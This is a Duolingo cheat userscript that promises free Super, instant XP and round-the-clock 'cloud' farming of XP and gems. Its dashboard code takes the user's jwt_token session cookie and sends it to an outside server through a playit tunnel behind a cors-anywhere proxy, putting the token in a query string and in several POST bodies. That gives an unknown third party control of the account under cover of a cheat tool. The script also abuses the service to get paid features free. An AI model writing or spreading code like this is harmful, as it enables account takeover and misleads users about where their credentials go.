Free super duolingo, instant XP, 24/7 cloud-based automatic XP farming where you can close your duolingo tab and it will continue farming for you.
// ==UserScript==
// @name DISCONTINUED DUOLINGO CHEAT
// @namespace http://tampermonkey.net/
// @version v2
// @description Free super duolingo, instant XP, 24/7 cloud-based automatic XP farming where you can close your duolingo tab and it will continue farming for you.
// @author You
// @match *://*.duolingo.com/*
// @match *://*.duolingo.cn/*
// @license MIT
// @icon https://www.google.com/s2/favicons?sz=64&domain=duolingo.com
// @grant none
// @run-at document-start
// ==/UserScript==
// IT IS RECOMMENDED TO RUN THIS SCRIPT ON AN ALT BECAUSE IT MIGHT GET YOU BANNED. RUN IT ON YOUR MAIN ACCOUNT AT YOUR OWN RISK!
const server = 'https://cors-anywhere.com/http://major-buyers.gl.at.ply.gg:5603/'; // i'm using cors anywhere to fix SSL errors, not CORS errors, because you can only get a self-signed certificate with playit, not one provided by a valid certificate authority.
if (location.pathname === '/errors/duoexpress') {
document.title = '💎 DUOLINGO EXPRESS 💎';
const jwt = document.cookie.split('jwt_token=')[1].split(';')[0];
const style = `
@import url('https://fonts.googleapis.com/css2?family=Averia+Sans+Libre:ital,wght@0,300;0,400;0,700;1,300;1,400;1,700&display=swap');
:root {
--palette-primary: #11001C;
--palette-secondary: #1A0129;
--palette-tertiary: #220135;
--palette-quaternary: #6A328B; /* i had to look up the word quaternary */
}
* {
font-family: 'Averia Sans Libre', 'Arial', sans-serif !important;
color: var(--palette-quaternary) !important;
}
body {
background: var(--palette-primary) !important;
}
.primary-heading {
text-align: center !important;
margin: 50px !important;
margin-bottom: 10px !important;
font-size: 55px !important;
}
.primary-subheading {
text-align: center !important;
margin: 0px !important;
opacity: 50% !important;
}
h2, h3, p, a {
margin-left: 10px !important;
}
button, input {
font-size: 25px !important;
padding: 15px !important;
border-radius: 50px !important;
border: none !important;
margin: 10px !important;
background-color: var(--palette-tertiary) !important;
transition: 1s !important;
}
button {
cursor: pointer !important;
}
input:hover {
border: 2px solid var(--palette-quaternary) !important;
}
button:hover {
transform: translateY(-10px) !important;
}
button:active {
border: 1px solid var(--palette-quaternary) !important;
padding: 14px !important;
transition: 0s !important;
}
p, b {
font-family: 'Arial', sans-serif !important;
}
`
const styleElement = document.createElement('style');
styleElement.innerHTML = style;
document.getElementsByTagName('head')[0].appendChild(styleElement);
document.body.innerHTML = `
<h1 class="primary-heading">Duolingo Express</h1>
<h3 class="primary-subheading">⚝ THE BEST FREE PUBLIC DUOLINGO CHEAT ⚝</h3>
<div id="controls">
<br><br>
<h2>24/7 Auto Farming</h2>
<p>Farm AFK 24/7 and gain <b>billions</b> of XP! Just click "start farming" and let us do the rest; close your computer and go to sleep, and this will continue farming for you!</p>
<h3>XP FARM IS FOR THE ENGLISH COURSE ONLY! IF YOU AREN'T LEARNING ENGLISH, ADD A NEW ENGLISH COURSE!</h3>
<button id="startXpFarm">START FARMING XP (510XP per second)</button><br>
<button id="startGemFarm">START FARMING GEMS (30 gems per second)</button>
<h3>Streak farming is not an option on this script. If you want to farm streaks, use another script in combination with this. (you can find userscripts on GreasyFork)</h3>
<br><h2>Instant Super/XP Earner</h2>
<p>Gain thousands of XP as well as a free 3 day super Duolingo preview in the click of a button!</p>
<p>Note: the free 3 day super Duolingo preview requires you to have a certain number of days streak, and it might not work if you've claimed it many times before.</p>
<p>Note: the instant XP earner might not work at the beginning or end of leagues (Sunday and Monday).</p>
<h3>YOU CAN ONLY CLAIM 1 SUPER PER DAY AND 30,000 XP EVERY 4 HOURS!</h3>
<input placeholder="Amount of XP..." id="amountOfXp" maxlength="10">
<button id="getXp">GET >></button><br>
<input style="opacity: 0%"> <!-- invisible input so that the get super for free button is in line with the get XP button -->
<button id="getSuper">GET SUPER FREE >> </button>
<br><h2>Social media</h2>
<a href="https://discord.gg/YGm8UHSJ3D" target="_blank">Join the DuoExpress Discord</a><br>
<a href="https://greasyfork.org/en/users/1538106-freepentests-on-soundcloud" target="_blank">Check out our Greasyfork</a>
<br><br>
</div>
`;
const updateFarmingStatuses = async () => {
const farmingStatus = await fetch(server + '/getFarmingStatuses?jwt=' + jwt);
const farmingStatusJson = await farmingStatus.json();
let xpAction = 'start';
let gemAction = 'start';
if (farmingStatusJson.xp) {
document.getElementById('startXpFarm').innerText = 'STOP FARMING XP (510XP per second)';
xpAction = 'stop';
} else {
document.getElementById('startXpFarm').innerText = 'START FARMING XP (510XP per second)';
xpAction = 'start';
};
if (farmingStatusJson.gems) {
document.getElementById('startGemFarm').innerText = 'STOP FARMING GEMS (30 gems per second)';
gemAction = 'stop';
} else {
document.getElementById('startGemFarm').innerText = 'START FARMING GEMS (30 gems per second)';
gemAction = 'start';
};
return {
xp: xpAction,
gems: gemAction
}
};
(async () => {
let actions = await updateFarmingStatuses();
document.getElementById('startXpFarm').addEventListener('click', async () => {
await fetch(server + '/farm/xp', {
method: 'POST',
headers: {'content-type' : 'application/json', 'origin' : 'duolingo.com'},
body: JSON.stringify({'action' : actions.xp, 'jwt' : jwt})
});
actions = await updateFarmingStatuses();
});
document.getElementById('startGemFarm').addEventListener('click', async () => {
await fetch(server + '/farm/gems', {
method: 'POST',
headers: {'content-type' : 'application/json', 'origin' : 'duolingo.com'},
body: JSON.stringify({'action' : actions.gems, 'jwt' : jwt})
});
actions = await updateFarmingStatuses();
});
document.getElementById('getSuper').addEventListener('click', async () => {
const resp = await fetch(server + '/instant/super', {
method: 'POST',
headers: {'content-type' : 'application/json', 'origin' : 'duolingo.com'},
body: JSON.stringify({'jwt' : jwt})
});
alert(await resp.text());
});
document.getElementById('getXp').addEventListener('click', async () => {
const amountOfXp = document.getElementById('amountOfXp').value;
const resp = await fetch(server + '/instant/xp', {
method: 'POST',
headers: {'content-type' : 'application/json', 'origin' : 'duolingo.com'},
body: JSON.stringify({'amount' : amountOfXp, 'jwt' : jwt})
});
alert(await resp.text());
});
})();
} else {
const initButton = () => {
const alreadyExist = document.getElementsByClassName('duoexpress').length >= 1;
if (!alreadyExist) {
const html = '<a href="/errors/duoexpress" target="_blank"><button style="font-size: 20px; padding: 15px; background-color: #101010; color: #FFFFFF; border-radius: 50px; cursor: pointer;">Click to Open Duolingo Express Cheat Dashboard</button></a>';
const container = document.createElement('div');
container.classList.add('duoexpress')
container.style = 'position: fixed; bottom: 0; left: 0; z-index: 9999;'
container.innerHTML = html;
document.body.appendChild(container);
};
};
window.onload = initButton;
setInterval(initButton, 1000);
};